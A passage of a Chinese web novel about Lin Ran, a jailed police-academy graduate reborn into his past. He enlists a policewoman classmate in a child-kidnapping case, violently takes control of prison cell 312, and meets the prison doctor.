谷彦君有些疑惑,林燃解释道:“是今年市局新招录的一位新警,叫秦墨,我想请她来探监……”
此时2000年,手机还没那么流行,联系很多的是座机和寻呼、小灵通都没开始普及。
带话倒是常见的联系方式,可是让一个警察给一个犯人探监?
谷科长决定还是慎重一点:“你先交代,到底什么关系?他负责你这个案子?那也是一个新警啊。”
李燃此时却略显不好意思的笑了笑:“不是,她是我的女朋友。”
“女朋友?”
虽然惊讶,但谷彦君很快反应过来,这小子警校毕业,这叫秦墨的又是新报到的新警,估计是警校同学。
而且,还有一个可能!
这小子身手好,脑子清醒,特别脸上那副临危不惧的模样,真不像普通的犯人,说不定是公安派过来的卧底!
难怪这人好好的警校优秀毕业生,不去市局报到,反而因为运毒进了监狱。
对!很可能是为了某个大案,找了个由头,送到自己这安江监狱里来的。
那联系这女警,估计是要传递什么消息。
现在这小子身上谜团太多了,监狱系统有上面领导明显想要弄他,而公安这边,他又可能是卧底。
两方都不好得罪。
公安和狱警关系一般,职责、归属、编制、系统完全不同,但毕竟都是穿制服的,平时偶尔也打交道,有一点香火情。
谷科长也不好坏人家的事。
想到这,还是答应下来。
同时言语间自然对林燃更高看几分。
三个条件都答应下来,林燃也将“鳄老大”等人藏毒点的线索告诉了对方。
谷彦君马上叫手下干警陈安进来,安排他赶紧去搜查。
陈安领命,立刻带着两名干事直奔劳动车间。
根据林燃提供的线索——那个堆放废弃纺织原料的角落。
以及那个沉重的旧线轴——他们果然在其中一个线轴底部的暗格里,起获了用防水油纸包裹的、分量不小的白色粉末,以及几小包已经分装好的零散毒品。
人赃并获!
第七章 女朋友
这下案子就不一样了。
“鳄老大”刘子明等人不仅持械伤人(未遂),更在监区内藏匿、贩卖毒品,性质极其恶劣。
相比之下,林燃的反击,在“阻止上诉灭口”和“发现违禁品后可能被进一步加害”的背景下,其“防卫过当”的性质得到了极大的弱化。
那根长钉螺丝上,也主要提取到了“鳄老大”和“三角眼”的指纹。
林燃的指纹很淡,符合抢夺后仓促使用的特征。
而被吓破胆的瘦子也承认了“鳄老大”逼迫自己要袭击林燃的事实。
结合林燃的举报立功表现,狱侦科最终将此次事件定性为:
刘子明等三人受人指使,企图对坚持上诉的犯人林燃进行伤害灭口。
并携带违禁品、凶器,林燃在生命受到严重威胁的情况下进行反击,过程中造成对方重伤,属防卫过当,但情节有可原之处。
鉴于其举报涉毒线索的重大立功表现,经研究决定,对林燃不予加刑,原判刑期不变,此次事件记录在案,以观后效。
当然,举报线索这块,没有写进公开材料里。
这个结果,几乎是最好的局面。
林燃成功度过了重生后的第一次致命危机。
并且在监狱管理层和犯人心中,都烙下了一个“不好惹”、“手段狠辣”的深刻印象。
很快,禁闭室的门再次打开。
“林燃,出来!有人探视。”
林燃深吸一口气,整理了一下身上干净的囚服。
陈安给他上完锁枷,带他出监区。
私下还透露了一句“你女朋友到了”
林燃不置可否地点了点头。
会见室内,一道玻璃墙隔开了两个世界。
在陈安的押送下,林燃坐下。
抬眼望去,玻璃对面,一个穿着便装,却难掩挺拔气质的年轻女孩正坐在那里。
她剪着利落的短发,眉眼清澈。
此刻正紧紧抿着嘴唇,一双大眼睛死死地盯着他,里面充满了疑惑,却偏偏没有家属脸上常见的担忧和激动。
来人正是秦墨,安江市局的新警,也是林燃口中的“女朋友”。
但陈安觉得有些异样。
这并不是男女朋友见面的亲昵或者哀怨态度。
而秦墨开口第一句话,更令他震惊。
“我……我认识你吗?”
旁边监视会见的陈安脑袋一下炸了。
这女警居然不认识林燃!?
那他还说是自己女朋友?
面对愕然的两人,林燃此时却不以为意。
“你认识我,我是国保二区队的林燃,你是刑事技术的秦墨,我们一届,我在学校见过你。”
这样一说,秦墨倒有印象了。
林燃在省警校表现优异,连续三年都拿了奖学金,她隐约也听说过。
但那时意气风发的林燃,和眼前消瘦苍白的犯人判若两人。
“你……算了,你有什么事吗?我们在学校几乎没交流过吧?”
开始狱侦科通知秦墨说有犯人想会见她时,她就很诧异。
本来想直接拒绝,可听说是自己警校同学,还说是自己男朋友?
这下反而引起她的好奇,想着就来见一面。
“对,我们没说过话,但是我今天请你来,是想……”
“够了,什么情况?这会见结束了。”
听到这里,旁边监督的陈安总算忍不住了。
他起身就要叫停这次荒谬的会见。
秦墨也疑惑中站起身,可林燃的一句话还是让她留了下来。
“你等一下,你最近是不是出任务了?是不是有个大案,我能帮你!”
秦墨学的是刑事技术专业,她父亲是市局的副局长。
有这层关系,加上成绩不错,一来就进了刑事技术队。
最近还真有一个大案,按道理作为新人,她是没资格进专案上现场的,但秦局长安排下,秦墨也跟着进了专案组,让她历练一下。
因为这个案子很麻烦,是财政局局长的四岁儿子被人绑架了。
2000年这时候,监控不普及。
机关家属楼管得也不严,财政局局长的儿子和一群小朋友在门口玩耍时,不知什么时候就失踪了。
当晚局长就报警了,市局很重视,调集警力,连夜查找,但都一无所获。
而且第二天早上,孩子的鞋被丢在了机关家属楼的大门口,里边塞了张纸条。
上边只留了两行字:你儿平安,不要报案,不要让任何人知道。到安江饭店门前找纸条。
这下坐实是绑架了,领导很震怒,上面很关注。
这都绑到机关大院来了,这怎么得了!
市长亲自拍板,必须三天内破案。
现在整个刑警队都焦头烂额。
秦墨她们刑技队也到现场,四处勘察。
可除了纸条外,毫无线索。
只能先按绑匪要求,到安江饭店门外花坛里,找到一张新纸条,劈头一句就是:
首先,请带来的警察回去,之后,我们再联系……
当即让专案组傻眼,后面也断了信息。
现在这个案子就挂在这,整个市局忙得不可开交,没有任何头绪和线索。
可眼前这个犯人,却说他能帮忙破案?
这句话让秦墨迟疑了一瞬。
但眼前冰冷压抑的禁闭室现实,很快又让她苦笑起来。
帮我?
他一个犯人?
估计只是夸夸其谈,想哄骗自己的幻想犯而已。
陈安此时也已经要来提起林燃的手铐,而秦墨也转过身离开。
林燃最后用尽力气,说到两个字:
“纸条!”
秦墨猛然回头。
这起绑架案虽然内部传得很快,但外界并不知晓内情。
更何况他这个囚犯,怎么会知道绑匪是通过纸条传递信息?
“你记住!得赶紧,不然人就没有了!”
“可以了,你别说疯话了。”
她刚想问林燃怎么会知道细节。
可陈安这时已经叫停了禁闭,将人带回了监区。
只留下一脸愕然的秦墨站在原地。
…………
“你这是对管教不老实啊!
明明和那女警不认识,你为什么要说她是你女朋友?”
回监区路上,陈安呵斥了林燃几句。
林燃却没心情回答他。
的确,他并没有什么女朋友。
警校严格禁止谈恋爱,他那时也没这个心思。
但这次重生回来。
他明白了自己必须全力运用一切可以利用的资源、人脉、关系,才有机会逃出这层黑幕。
现在身陷囹圄,一般人都对自己敬而远之。
自己唯一能够利用的,就是前世为了洗刷冤屈,疯狂研究、积累的刑案知识和刑侦技能!
第八章 训号
可自己一个犯人,怎么去破案立功?
林燃就想到了利用自己这女同学。
他知道秦墨父亲就是市局副局长,这姑娘也十分要强。
在前世也平步青云,三十出头就成了刑侦大队长。
他在学校看到这姑娘眼神时,就知道秦墨是哪种人——赢家。
天生赢家!
这种人不会放过任何一个立功受奖的机会。
为了进步不择手段。
所以林燃才利用狱侦科谷科长他们,请秦墨来监狱探监。
想办法跟她建立联系,以在后续自己的案子中,成为助力。
而他给秦墨布置的第一条诱饵,就是这起局长儿子绑架案。
这起轰动了整个安江的大案。
好巧不巧,也正是自己刚受伤没多久时发生的案子。
前世记忆里,这个案子很快就撕票了。
小孩尸体很快被发现,最后凶手是谁也一直没侦破,其细节在后世公布的不多。
前世林燃只知道绑匪通过纸条传递要求,但具体案件信息并不掌握,更不知道凶手是谁。
但他有信心这世回来,能用自己的技能,了结此案。
虽然今天的探监不欢而散。
但林燃相信秦墨会回来,她会回来再见自己。
此时结束探视。
林燃也迎来解除禁闭的时刻。
他在去往监区的路上,陈文有意无意地提醒道:
“你是警校毕业吧,我算是你的师兄。”
听到这,林燃抬了下头。
陈文在他印象中,是前世少数几个对他稍有同情的人。
原来如此,是这一点淡泊的香火情所致。
“……这次的事,不管你到底怎么做到的,算是逃过一劫。
但你的上诉…可能会受到一些影响,上面需要重新评估你的案件。”
林燃眼神一暗。果然,对方不会轻易让他上诉成功。但这也在意料之中。
“感谢师兄提醒。”
林燃再次表现出顺从。
陈安看着他,沉默了片刻,忽然低声道:
“林燃,在里面…小心点。‘鳄老大’虽然这次在你身上吃亏了,但他还有不少爪牙。
而且…上面有些领导,对你很有想法……不会就这么算了。”
师兄这是在提醒他。
林燃看向陈安,第一次露出了一个略显真诚、微不可查的笑容:“谢谢,警官。我知道。”
“还有,这次的监房,你也……”
陈安还想说什么,此时已经到监区,只能收口。
重新回到监区,气氛明显不同了。
当林燃在陈安的押送下,穿过放风广场。
走向自己的新监舍时。
所有碰到的囚犯,无论是凶神恶煞的还是老奸巨猾的,都不由自主地停下了动作,目光复杂地看向他。
有敬畏,有忌惮,有好奇,也有隐藏的仇恨。
没有人说话,但一种无形的压力弥漫开来。
林燃目不斜视,步伐稳定。他能感受到那些目光如同实质,聚焦在他身上。
他知道,这一世,他在安江监狱,已经不一样了。
他不再是那个可以随意欺凌的新人菜鸟。
而是一个手上沾着血、敢于拼命、并且能在绝境中反杀老牌牢头的狠角色。
他立威了。
这威,是用“鳄老大”的血立起来的。
但这点威还不够。
监狱狠人辈出,一个“鳄老大”还不够,斗狠只是生存的第一步。
接下来,他要在这座钢铁丛林里,找到盟友,积蓄力量。
撬动那看似坚不可摧的幕后黑手。
他为自己而战的复仇之路,从这血染的阶梯开始,正式拉开了序幕。
…………
铁门在身后轰然关闭,发出沉闷的回响。
这一次,是新的监舍。
林燃看着里面几张或冷漠、或审视、或带着一丝惧意的陌生面孔,嘴角勾起一抹冰冷的弧度。
新的棋局,开始了。
312监室比林燃想象中更加逼仄。
霉味、汗臭和某种难以言喻的浑浊气息混杂在一起,扑面而来。
日光灯管在头顶嗡嗡作响,投下惨白的光,照出三张扭曲的脸。
正中央,一个满脸横肉、脖颈纹着青龙的光头男人坐在头板位置,手里提着只脏污的拖鞋。
他左右各站一人,一个瘦高如竹竿,眼神阴鸷;另一个矮壮敦实,手臂肌肉虬结。
三人呈三角之势,围着一个靠墙站立的年轻人。
林燃知道这是在“训号”。
“训号”就是训犯人,一般都是狱警管教来训。
但弱肉强食的监房里,很多“牢头”也把这权利拿在手里,展示影响。
林燃进来,他们只回头扫过一眼,就扔下一句话。
“又有新号进来了?等我训完这个,就来收拾你。”
接着又回头收拾那个新人去了。
那年轻人最多二十出头,脸上已经印着几道红肿的拖鞋印子,背挺得笔直,但微微发颤。
“我说站直了吗?”光头声音粗哑,带着戏谑。
“……站直了。”年轻人声音发紧。
“我说——站直了吗?!”光头陡然提高音量,手中拖鞋猛地抽过去。
“啪!”
又是一道红印叠加在年轻脸上。
林燃站在门口。
面无表情地看着这一幕。
而陈安见到里面这个场面,手里的警棍在囚门上敲了敲。
“喂喂,干什么干什么?!”
见到狱警介入,这牢头笑着凑过来:
“报告干部!我们在交流感情呢!配合你们的管教!感情交流得正好,不信你问他!”
说完,他把新人的脸扭过来对着陈文,那被训的新人虽然表情抽搐,但也不敢说一个不是,挤出哭笑道:“对……对,我们在交流感情……”
“刀疤辉,你给我注意点!”
见“被害人”都这个样子,陈文也不好多说什么。
他也知道狱警也没办法深入每个监室,这些个牢头都或多或少有自己的关系。
而自己管得太过,反而会害了这新人。
只能在提醒了两句后,就转身离开。
“一个戴‘飞机’章的傻雷子,也敢管我!妈的,等老子出去搞死你!”
陈安一走,牢头“刀疤辉”就在背后唾了口唾沫。
“飞机章”是指新警的两拐肩章。
看起来就像一对小飞机,犯人私下看不起这些稚嫩的新警,势力大的甚至会挑衅他们。
而“雷子”也是道上人对警察的蔑称。
骂完陈文,这“刀疤辉”回头一指林燃。
“新来的,给我靠墙站好,我等下就来收拾你。”
第九章 砸板儿
接着,继续训起那新人来。
“你小子细皮嫩肉的,你老婆用起来爽不爽?”
新人挤出笑:“老大,我还没老婆呢……”
“那你妈爽不爽?”
这明显就是侮辱了。
但新人还是憋着脸,陪着笑,不知道如何回答。
“啪”,又是一块拖鞋印出现在另一边脸上。
被围的年轻人偷偷瞥了林燃一眼,眼神里有一闪而过的希冀。
但很快又被恐惧淹没。
“爽,爽……”
新人没办法,只能屈辱着答应,这下牢刀疤辉和两个打手都笑起来了。
刀疤辉笑着回头瞟一眼后面的林燃。
刚刚这杀鸡戏应该给这小子一点震撼了吧?
可让他没想到的是。
林燃没有说话,也没有按他指示地站在原地不动。
而是在众目睽睽之下,缓缓走到通铺的第一块板子前——那是牢头才有资格睡的领地!
号子里都是大通铺,铺的是玻璃钢,一块大概一米宽,两米长。
而牢头就是睡第一板,占两块板的位置。
所以“牢头”也叫“头板”。
接下来,就是跟着头板混的“打手”,也能占两块板。
这两个人就几乎把通铺占满了,其他人都挤在后面,或者睡在地上。
刚进来肯定就是睡在地上,特别外地人、年纪小、强奸犯,最受歧视,几乎都是睡便池旁的空地上。
哪有新人敢堂而皇之的要睡“头板”!?
这小子是不懂还是疯了?
刀疤辉这才转过头,认真打量起林燃。
目光在他额角还未完全愈合的伤口上停留片刻,咧开嘴,露出一口黄牙:
“哟,这不是把‘鳄老大’干进医务室的狠人嘛?怎么,来我们312立威来了?”
林燃却毫不在意几人的动作。
他只是蹲下身,把刚发下来的薄被和洗漱用品铺在头板的位置上,动作不紧不慢。
几个人看他动作,知道他是要找死了。
牢头打人一般不是自己动手,由身材魁梧的打手出面。此时两个打手围了上来。
瘦高个阴恻恻地接话:
“燃哥是吧?听说你挺能打?”
矮壮汉子捏了捏拳头,骨节发出噼啪轻响。
刀疤辉见他这副态度,脸色沉了下来。
他冲矮壮汉子使了个眼色。
矮壮汉子上前一步,一脚踢飞了林燃刚放好的肥皂盒。
“聋了?老大跟你说话呢!”
林燃动作顿住。
他慢慢直起身,转头看向刀疤辉,眼神平静得像一潭深水:“什么规矩?”
刀疤辉冷笑:“规矩就是,新来的,头三天睡地上。每天给老大端洗脚水,按摩捶背。
劳动分的一半,孝敬头板。有什么好吃的、好烟,先紧着老大。懂了?”
林燃点点头:“懂了。”
他顿了顿,又问:
“那如果我不同意呢?”
监室里空气一凝。
刀疤辉像是听到了什么笑话,哈哈大笑起来。
旁边的瘦高个和矮壮汉子也跟着笑。
笑够了,刀疤辉眯起眼,透着凶光:“你要砸板儿?”
和牢头打架,行话叫“砸板儿”。
砸好了一战成名,狠人中的狠人;砸不好一战就废了,从医务室出来,就是整个监区的底层,谁都能踩上一脚。
林燃前世记忆里,一般和牢头打架是没有好果子吃的。
砸不好的十之八九。
毕竟牢头大部分自己也能打,还能叫全号儿的人一起上,双拳难敌四手,打出人命都有过!
旁边高个子同时发问:
“你混哪的?”
话音未落,矮壮汉子已经狞笑着朝林燃肩膀抓来!
另一只手握拳直捣林燃腹部——标准的控制加打击动作,这帮人显然不是第一次干这个。
但林燃动了。
在矮壮汉子手指即将触及他肩膀的瞬间。
林燃上身微微一侧,让过抓握,同时左手如毒蛇般探出。
不是格挡,而是直接扣住了对方砸来的手腕。
警校标准的反关节擒拿——林燃手指精准地扣住脉门,顺势一拧!
“啊!”矮壮汉子惨叫一声,手臂被扭到身后,整个人不由自主地弯腰。
林燃动作毫不停滞,右腿膝盖如同重锤,狠狠顶在对方因弯腰而暴露的肋下!
“咔嚓!”令人牙酸的骨裂声清晰可闻。
矮壮汉子闷哼一声,瘫软下去。
捂着肋部蜷缩在地,疼得连叫都叫不出来。
这一切发生在电光石火之间。
刀疤辉和瘦高个脸上的笑容瞬间凝固,转化为惊怒。
“操!”瘦高个反应快,抄起通铺边一个铁皮水杯就砸向林燃后脑。
林燃仿佛脑后长眼,低头避过。
水杯砸在墙上发出哐当巨响。他借低头的势,一个迅猛的扫堂腿,精准地踢在瘦高个支撑腿的脚踝上。
瘦高个下盘不稳,惊呼着向前扑倒。
林燃已旋身站起,手肘如铁,向下猛击!
“噗!”肘尖重重砸在瘦高个后背心。
瘦高个像被抽了骨头的蛇,趴在地上只有出气的份。
刀疤辉终于反应过来,怒吼一声。
从铺板下抽出一截磨尖的塑料片——不知是从什么工具上拆下来的,尖端泛着冷光。
他不再废话,合身扑上,塑料片直刺林燃颈侧!这是要命的打法!
林燃眼中寒光爆闪。
不退反进,在塑料片即将及体的瞬间,他猛地侧身,让过锋芒。
左手抓住刀疤辉持凶器的手腕向上一托——锋利的塑料片边缘在他手臂上撕开一道口子,鲜血立刻涌出。
但他动作毫不停滞,右手握拳,中指关节凸起,以最具穿透力的“凤眼拳”,狠狠凿在刀疤辉腋下的极泉穴上!
“呃!”刀疤辉半边身子一麻,力道骤泄。
林燃夺凶器的动作行云流水,反手就将那塑料片抵在了刀疤辉的咽喉上。
冰凉的触感让刀疤辉瞬间僵住。
鲜血顺着他紧握的手臂蜿蜒流下,滴滴答答落在水泥地上。
林燃低头看了看自己。
刚才的打斗虽短促,但他胳膊上被塑料片划开了一道口子,鲜血正慢慢渗出,在昏暗的灯光下显得格外刺目。
疼痛是清晰的,但也让他眼神更加锐利。
“现在。”
林燃的声音依旧平稳,但透着刺骨的冷意,仿佛流血的不是他自己。
“谁是老大?”
第十章 苏念晚
刀疤辉额头渗出冷汗,目光不由自主地瞥向林燃流血的手臂。
喉结滚动,却不敢动弹。
地上两个手下还在痛苦呻吟。
墙边的年轻人张大嘴巴,难以置信地看着这一幕。
目光在林燃冷静的脸和流血的手臂之间来回移动。
“我……我……”刀疤辉想说话。
林燃手上微微用力,塑料片尖端刺破皮肤,血珠渗出。
“回答错误。”
“你!你是老大!大哥!你是老大!”
刀疤辉嘶声喊道,再也没了之前的嚣张。
林燃盯着他看了几秒,缓缓移开塑料片,随手扔进便池。
他转身,走向那个目瞪口呆的年轻人,随手帮他拍了拍肩膀上的灰。
胳膊上的伤口随着动作牵扯,但他眉头都没皱一下。
“没事了。”
年轻人嘴唇哆嗦着,想说什么,却发不出声音。
就在这时,外面一串急促脚步响起。
接着,监室门上的观察窗被拉开,先前离开的陈安的脸出现在后面。
“312宿舍!全体立正!”
陈安怎么也没想到林燃这么凶暴,刚从禁闭室出来,这一下又放倒了三个!
这下刀疤辉和两个打手伤得不轻,林燃手上也破了口子,两拨人都得往医院送。
狱警给他上了戒具,一路无话,穿过几道铁门,来到监狱医院。
…………
消毒水的气味浓烈。
诊疗室里,一个穿着白大褂的女医生背对着门,正在整理药柜。
听到动静,她转过身。
林燃眼神微凝。
女人很年轻,看起来不到三十,白大褂有些宽松,却掩不住窈窕的身段。
长发在脑后松松挽起,露出白皙修长的脖颈。
她戴着一副金丝边眼镜,镜片后的眼睛大而明亮。
眼尾微微上挑,天然带着几分媚意,但眼神却清澈专业。嘴唇丰润,未施唇膏,透着自然的淡粉色。
一个漂亮得有些过分的女医生,出现在这座男性监狱的医院里。
显得格外突兀,林燃前世就知道她,苏念晚,整座监狱的幻想对象。
这一世,她也有她的作用。
“又送来一批?”
女医生开口,声音柔和,却带着一种职业性的疏离。
她目光扫过几人,在林燃脸上停留片刻。
——上次额角的伤不是她处置的,但她显然记得这张脸。
“苏医生,这个伤重点。”
押送的狱警指了指林燃手臂。
苏念晚点点头,示意林燃坐下。
她处理伤口的动作熟练而轻柔,消毒、上药、包扎,指尖偶尔碰到林燃的皮肤,微凉。
靠近时,林燃能闻到她身上淡淡的消毒水味下,隐约有一丝清雅的香气——不是香水,更像是洗发水或者皂角的味道。
“肋骨疼?”她注意到林燃下意识的吸气动作。
“有点。”
“衣服撩起来,我看看。”
林燃照做。
苏念晚的手指在他肋间按压检查,力道适中。
“骨头应该没事,软组织挫伤。”她转身走向靠墙的办公桌,“我给你开点外用药。”
办公桌上放着一台略显笨重的台式电脑,显示器是球面CRT的。
主机嗡嗡作响。
这在2000年底的监狱医院里算是高端配置,主要用于病历管理和药品库存登记。
屏幕上显示的是监狱内部的医疗管理系统界面,蓝底白字的DOS系统风格,光标在闪烁。
林燃的目光不动声色地扫过整个诊疗室。
药柜、检查床、器械推车、墙上的急救流程图……。
这一切,和前世对上,都将有其作用。
目光最后落回苏念晚身上
她正低头在处方笺上写字,侧脸线条柔和,睫毛很长。
下面白大褂的宽松领口处,露出大片雪白。
他不觉多看了一眼,但马上移开目光。
“苏医生来这儿多久了?”
林燃用问话转移注意力,声音极力平静。
苏念晚笔尖一顿,抬眼看他。
犯人主动搭话不稀奇,简直就没遇见不搭话的。
甚至调侃、意图骚扰的都不少,这些人无一例外都再也不要想进这医务室。
但用这种平静闲聊语气的不多。
“跟你的伤有关系吗?”
“只是觉得,这儿环境挺特别。”
林燃笑了笑,“每天面对的都是我们这种人,不容易。”
苏念晚没接话,继续写完处方,撕下来递给他:
“药房会配好,回监舍后每天擦两次,伤口别沾水。”
她公事公办,但眼神里多了一丝打量——这个年轻人和其他犯人不太一样。
眼里没有那种要么瑟缩要么凶戾的光,反而有种过分沉静的东西。
“谢谢。”
林燃接过处方,没立刻起身。
“苏医生身上有股香味,挺特别的。闻着让人想起……栀子花?”
苏念晚身体几不可察地僵了一下。
她今天早上确实带了香包,但味道很淡,连她自己都快闻不到了。
“你的嗅觉挺灵。”
她语气依旧平淡,却转身开始整理器械,避开了林燃的视线。
“不过监狱医院里,还是多关心自己的伤比较好。”
“也是。”
林燃站起身,手臂上的包扎很妥帖,几乎不影响活动。
他走到门口时,忽然回头,声音压低了些。
“对了苏医生,如果晚上伤口疼得睡不着,能申请再来看看吗?”
苏念晚转过身,金丝眼镜后的目光在他脸上停留了两秒。
这问题越界了,但问得又很自然,像是真的在咨询医疗问题。
“有紧急情况可以报告值班管教。”
她官方地回答,却在林燃眼中捕捉到一丝若有若无的笑意——那笑意里没有轻浮,反而像是一种心照不宣的试探。
“明白了。”
林燃点点头,被狱警带出门。
门关上后,苏念晚站在原地,看着那扇门,手指无意识地摸了摸白大褂的口袋。
里面装着一小包栀子花香包,是上周去母亲那探望,老人塞给她的。
监狱里不允许用带香味的个人用品。
但她实在受不了这里永远散不去的消毒水和体味混杂的气息,就偷偷留下来了。
那个叫林燃的犯人……怎么闻出来的?
而且,他刚才看她的眼神,不像其他犯人那种赤裸裸的觊觎或卑微的讨好。
更像是在观察,在评估,就像她平时观察病人症状一样。
苏念晚摇摇头,把念头甩开。
在这里工作两年,她学会的第一件事就是不要对任何囚犯产生多余的好奇心。
她坐回电脑前,打开林燃的病历页面。
屏幕上显示着基本信息:林燃,20岁,运输毒品罪,刑期十年。入狱时间不到一个月。
光标在诊断栏闪烁。
苏念晚敲入“多处软组织挫伤,浅表切割伤”,保存,退出系统。
窗外传来监狱操场的哨声。
她看了眼墙上的钟,下午三点。
诊疗室里又只剩下消毒水的气味,和她身上那缕几乎要被完全掩盖的、淡淡的栀子花香。
第十一章 打得一拳开
林燃没有直接回监区,而是被带到了狱侦科的审讯室。
科长谷彦君已经等在那里,脸色比上次见面时更沉。
“林燃,你可以啊。”
谷科长把一份报告摔在桌上。
“进312不到半小时,打趴三个,一个肋骨疑似骨裂,一个踝关节扭伤加背部挫伤,一个脖子上留了个血口子。
你这‘意外’可真够频繁的!”
林燃坐在审讯椅上,手铐摩擦着金属桌面发出轻微声响。
“谷科长,是他们先动手,围殴新犯人,还动了自制凶器。”
他指了指自己包扎好的手臂。
“我只是自我防卫。不信可以问问当时在场的另外那个新人。”
“又是自我防卫?”谷科长冷笑。
“那个新人……”他哼了一声。
“已经被‘教育’得不敢乱说话了。林燃,我提醒过你,在这里要‘小心’。你打的是‘刀疤辉’,他是三监区老犯人头目‘笑面佛’手下最能咬人的狗之一。
你以为放倒了他一次就没事了?”
“笑面佛?”
林燃挑了挑眉,这名字他前世有印象,是个心狠手辣、在监狱内外都有能量的老炮儿。
“对,‘笑面佛’,你们不是也叫他‘佛爷’么?你动了他的人,还是在‘刀疤辉’自己的监室里,这是打他的脸。”
谷科长揉了揉太阳穴。
“上面本来对你就……现在这事一出,更是有了由头。这次打架斗殴,情节严重,影响恶劣,经研究,关你七天禁闭,加严管级处分,劳动改造任务加倍。至于‘刀疤辉’那边……”他意味深长地看着林燃,“你好自为之。”
又是禁闭。林燃对这个结果并不意外。
他点点头:“我接受处罚。”
谷科长看着他平静的脸,忽然有些烦躁。
这小子,油盐不进,偏偏又让他抓不住太多把柄。
“带下去!”他挥挥手。
……
禁闭室,熟悉的无边黑暗和寂静。
这一次,林燃的心境比上次更加沉凝。
他盘膝坐下,静心冥想。
意识如同沉入深水,纷杂的念头——
“笑面佛”的威胁、秦墨那边的进展、自身冤案的谜团——如同水底的暗流,被他一一感知。
却又被强大的意志力缓缓排开,让位于更核心的思考:
如何在出禁闭后,面对必然更加凶险的局面?
七天的与世隔绝,是惩罚,也是缓冲。
当厚重的铁门再次打开时,林燃的眼睛在刺目的光线中微微眯起,眼神愈发锐利清澈。
回到312监室,气氛截然不同。
“刀疤辉”光头上的纱布已经拆了,脖子上的伤口结了暗红色的痂,看起来有些狰狞。
瘦高个和矮壮汉子也都在,一个脚上缠着绷带,一个肋部裹着固定带。
看向林燃的眼神充满了怨毒和……一丝隐藏的惧意。
那个曾被欺负的年轻人——林燃后来知道他叫周晓阳——缩在通铺最里面的角落。
看到林燃回来,眼神亮了一下,又迅速低下头。
“刀疤辉”坐在头板位置,这次他没拿拖鞋。
而是阴沉地盯着林燃,喉咙里发出嗬嗬的怪笑:
“哎哟,燃哥,禁闭滋味不错吧?欢迎回来。”
上次吃了亏,但林燃关了几天禁闭,想必也不好受。
那地方站不能站,躺不能躺,还熬了七天,想必这下知道乖了。
林燃没理他,径直走向自己的位置——“头板”,可却没看到自己铺盖。
这时“刀疤辉”三人阴笑起来,他侧头发现他的铺盖被胡乱扔在靠近便池的湿地上,上面还有可疑的水渍。
“哟,燃哥,不好意思啊,”瘦高个阴恻恻地说。
“这几天兄弟们手脚不方便,不小心把你铺盖弄湿了。要不,您将就一下?”
矮壮汉子也咧嘴,露出缺了颗门牙的嘴:
“燃哥不是挺能耐吗?地上凉快,适合您这种火气大的。”
他们在试探,在挑衅,想找回场子,又不敢直接动手。
林燃停下脚步,看了看那湿透的铺盖,又缓缓抬起头。
目光扫过三人。最后,落在“刀疤辉”脸上。
“刀疤辉”被他看得有些发毛,难得这人是个莽子?一次还不学乖?敢打第二次?
仗着这是在监室,外面可能有狱警“照应”。
他梗着脖子,压低了声音,试图拿出往日的威风:
“林燃,别以为上次占了点便宜就了不起。我告诉你,我们佛爷已经知道你了,你等着……”
“等着什么?”
林燃忽然打断他,声音平静无波。
“等着……”刀疤辉还想放狠话。
但这一次,林燃没有给他机会。
“刀疤辉”的“着”字还没完全出口,林燃动了!
没有预兆,没有废话,就像一头蓄势已久的猎豹,身形猛地前冲!
他的目标明确——直取首脑“刀疤辉”!
“刀疤辉”大惊,想往后躲,但坐在铺板上的姿势限制了他的动作。
他慌忙想抬手格挡,可林燃的速度太快!
林燃根本没打算缠斗,一击制敌!
他左手闪电般探出,不是打,而是精准地抓住了“刀疤辉”受伤结痂的脖颈伤口处,拇指狠狠按压下去!
“呃啊——!
”剧痛让“刀疤辉”瞬间惨叫,刚刚结痂的伤口崩裂,鲜血渗出。
他所有的力气仿佛都被这一下按散了。
与此同时,林燃的右拳已经到了,一拳砸在“刀疤辉”的胃部!
“呕……”“刀疤辉”眼珠凸出,弯下腰,酸水混合着未消化的食物残渣喷了出来。
瘦高个和矮壮汉子见状,惊怒交加。
一个跛着脚想扑上来,另一个忍着肋痛也想帮忙。
他们完全没有想到,这小子简直和疯了一样。
“砸板”砸了一次都算了,居然还砸两次!?
真不要命了?
他们怎么知道林燃这两世的怒火,早已想将一切焚烧殆尽。
何况三个喽喽?
林燃头也不回,仿佛背后长眼。
在瘦高个扑近的瞬间,他侧身让过,脚下一勾,正勾在对方那只完好的脚踝上。
瘦高个本来下盘就不稳,惊叫着再次扑倒,脸狠狠撞在冰冷的便池边缘,闷哼一声,没了动静。
矮壮汉子挥舞着拳头冲到林燃侧面,林燃只是简简单单一个摆臂。
两拳空中交错!
但林燃后发先至!
手肘如同铁榔头,重重砸在对方受伤的肋骨固定带上。
“唔!”矮壮汉子脸色瞬间惨白如纸,捂着肋部瘫倒在地。
疼得浑身抽搐,连声音都发不出来。
从林燃暴起到三人失去战斗力,整个过程不到十秒。
监室里只剩下“刀疤辉”痛苦的干呕和呻吟,以及另外两人粗重的喘息。
“记住,这铺盖——下次再湿,那就是裹着你的血睡。”
第十二章 破案
“听明白没有!?”
“明白……明白了。”
见对方服软,林燃松开按在“刀疤辉”脖子上的手。
在他肮脏的囚服上擦了擦沾染的血迹。
而后,他弯腰,捡起自己湿透的铺盖。
走到“刀疤辉”原先占据的头板位置,将湿铺盖随手扔在一边。
把“刀疤辉”还算干净的被套翻了个面,占为己有。
“还有个事,你们给我买套新铺盖,尽快。”
接着,他看向角落里瑟瑟发抖的周晓阳。
“你。”
林燃指了指通铺上挨着他第二好的地方:
“以后睡这儿。”
周晓阳呆住了,难以置信地看着林燃。
又看看惨不忍睹的“刀疤辉”三人,嘴唇哆嗦着,终于用力点了点头,眼圈有点发红。
林燃不再看任何人,在头板位置坐下,闭目养神。
监室里弥漫着血腥、呕吐物和恐惧混合的气味。
这一次,再没有任何人敢说一个字。
铁拳之下,规矩重写。
林燃用最直接、最暴烈的方式宣告:
312监室,从今天起,换天了。
接下来几天,312监室呈现出一种诡异的平静。
这次打架,打没了“刀疤辉”靠自己收拾林燃的念头。
他没想到居然真有疯子,见面第一天就干,出来了还继续干!
受伤、禁闭,什么都不怕,这是亡命之徒啊!
里面不怕狠的,不怕横的,就怕不要命的。
不要命的林燃坐上了头板位置,每天打饭分菜,他那一份总是监室里最多最好的。
劳动改造时,重活他不再需要亲自动手。
“刀疤辉”和他的两个手下——林燃现在知道了他们的外号,矮壮的那个叫“牛哥”,性格暴躁但头脑简单;高瘦的那个外号“麻杆”,心思阴险,眼神总在暗处打转——自觉地承担了最重的活计。
